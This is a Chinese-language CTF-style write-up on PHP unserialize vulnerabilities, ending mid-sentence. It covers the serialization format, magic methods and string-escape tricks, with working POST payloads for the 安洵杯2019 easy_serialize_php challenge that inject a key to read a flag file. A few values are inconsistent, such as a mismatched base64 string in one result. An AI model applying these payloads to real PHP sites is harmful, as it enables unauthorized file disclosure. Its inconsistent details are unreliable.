反序列化总结
serialize 和unserialize 是php 中与序列化有关的一对函数,serialize 是将对象序列化为字符串,unserialize 是将字符串反序列化为对象
魔术方法
__为前缀的方法为魔术方法,反序列化时常用的魔术方法有五个:
__construct() 构造函数,对象被创建时调用
__destruct() 析构函数,对象销毁时调用
__sleep() 序列化时会使得对象休眠,调用sleep
__wakeup() 反序列化时会使得对象苏醒,调用wakeup
__toString() 打印一个对象时,如果该对象定义了toString() 方法,那么就可以通过echo 打印对象
序列化
数组类型
["rua","233","dd"]
PHP 数组类型实际上是键值对key-value 的集合
序列化的头部以a: 开始
之后是数组长度3:
然后是数组内容
首先是key ,第一个其数组值为0,即i:0
然后是value ,即s:3:"rua"
最终结果为a:3:{i:0;s:3:"rua";i:1;s:3:"233";i:2;s:2:"dd";}
class类型
class Test{
public $a=1;
private $b=2;
protected $c=3;
}
头部以O: 开始,后面是类名4:Test
public
与数组类型序列化相同
private
私有成员在进行序列化时需要在key 前增加\0类名\0
protected
保护成员在序列化时在key 前加\0*\0
最终的序列化结果为
O:4:"Test":3:{s:1:"a";i:1;s:9:"\0Test\0b";1:2;s:6:"\0*\0c";i:3;}
反序列化漏洞
基本方式
对魔术方法给出了自定义,一般是在对象生成、创建、序列化、反序列化的过程中会有命令执行函数,此时传入payload过程中将相关变量的值赋为shell后门或者命令即可
进阶版 字符串逃逸
变长
使用一个字符串即可进行逃逸
<?php
class Test{
public $a;
public $b;
public $c;
}
$t = new Test;
$t->a=1;
$t->b='xxxxxxxxxxxxxxxxxxxxxx";s:1:"c";s:4:"dddd";}';
$s = serialize($t);
var_dump($s);
$r=preg_replace('/x/', 'xx', $s);
var_dump($r);
var_dump(unserialize($r));
以江佬给出的一段代码为例,
可以看到序列化后的结果为O:4:"Test":3:{s:1:"a";i:1;s:1:"b";s:44:"xxxxxxxxxxxxxxxxxxxxxx";s:1:"c";s:4:"dddd";}";s:1:"c";N;}
经过replace之后的结果是O:4:"Test":3:{s:1:"a";i:1;s:1:"b";s:44:"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";s:1:"c";s:4:"dddd";}";s:1:"c";N;}
unserialize 之后的结果是
object(Test)
["a"]=> int(1)
["b"]=> string(44) "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
["c"]=> string(4) "dddd"
}
可以看到我们传入了两个参数a和b,而最终对象中却还有c参数,最后的;s:1:"c";N;} 成功逃逸
其原理为:
-
反序列化时会按照序列化的字符串中给定的长度向后读取内容,因此在replace之后b的字符串长度变为44,恰好满足给定的长度,因此在unserialize 时读取完所有的x就会结束 -
反序列化时继续向后读取,s:1:"c";s:4:"dddd"; 在serialize 时被认为是变量b中的内容,而在反序列化时,由于它被构造为了符合序列化字符串的形式,就被认为是变量c -
在读取到dddd 后面的大括号时,由于类Test中含有三个成员,此时三个成员都被赋值,而} 恰好是序列化结束的标志,此时反序列化就会停止读取,因而后面的内容;s:1:"c";N;} 被忽略掉
可以看到,在序列化漏洞的利用过程中,计算长度是很关键的一步
变短
以buu 安洵杯2019 easy_serialize_php 为例
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();');
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
根据源码,phpinfo 可能有东西,看一下发现了d0g3_flag.php ,协议读取不可能,因此需要想办法
读一下源码,首先是初始化了session
并且题目中给了一个变量覆盖函数extract
可以通过post覆盖session 中的内容
如果通过get指定img 的话,会经过sha1 ,此时最后调用时base64_decode 是不能得到正确路径的
因此考虑反序列化
字符串变短时有两种利用方式
值逃逸
需要两个键值对,第一个的值被waf 掉,第二个的键就覆盖了第一个的值,因此第二个的值就逃逸出来,可以构造为一个新的键值对
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}
此时序列化得到的字符串为
string(169) "a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"
经过替换变为了
a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
再反序列化的结果就是
array(3) {
["user"]=> string(24) "";s:8:"function";s:59:"a"
["img"]=> string(20) "ZDBnM19mMWFnLnBocA=="
["dd"]=> string(1) "a"
}
恰好将base64 的值赋给了img
注意:
- 首先,基本的长度要确定
";s:8:"function";s:59:" 这一段的长度为23,6个flag 恰好为24,因此可以补充一个字符a,使得长度满足条件。当然也可以不加a,在前面的6个flag 中一个替换为php ,这样长度为23 - 其次注意构造闭合,即
a 后面需要"; 来衔接,以满足序列化的格式
键逃逸
需要一个键值对,键被waf 掉,值里面的一部分补充上,后面的部分被认为是一个新的键值对
传入的参数为
_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
序列化后变成
string(114) "a:2:{s:7:"flagphp";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"
替换后为
string(114) "a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"
反序列化的结果是
array(2) {
["";s:48:"]=> string(1) "1"
["img"]=> string(20) "ZDBnM19mbGxsbGxsYWc="
}
达到了同样的效果
此时需要注意的就是
|